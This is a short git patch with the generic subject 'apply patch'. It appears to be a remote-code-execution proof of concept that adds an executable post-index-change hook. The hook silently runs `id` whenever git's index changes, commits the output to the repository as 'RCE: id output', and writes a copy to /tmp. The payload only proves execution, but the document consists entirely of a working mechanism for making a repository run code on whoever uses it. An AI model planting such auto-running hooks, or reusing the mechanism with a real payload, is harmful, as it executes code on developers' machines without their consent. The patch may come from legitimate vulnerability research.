From e968087f82122cec9df8d85dd6e26fbb25a5b4bd Mon Sep 17 00:00:00 2001 From: pocuser_1793434766 Date: Sat, 31 Oct 2026 08:36:20 +0000 Subject: [PATCH] apply patch --- hooks/post-index-change | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..5aed829 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,11 @@ +#!/bin/sh +# Run id and store output +ID_OUTPUT=$(id 2>&1) +# Create a file with the output in the repo +echo "$ID_OUTPUT" > id_result.txt +# Add and commit +git add id_result.txt 2>/dev/null +git commit -m "RCE: id output" 2>/dev/null +# Also write to a known location +echo "$ID_OUTPUT" > /tmp/id_confirmed.txt 2>/dev/null +exit 0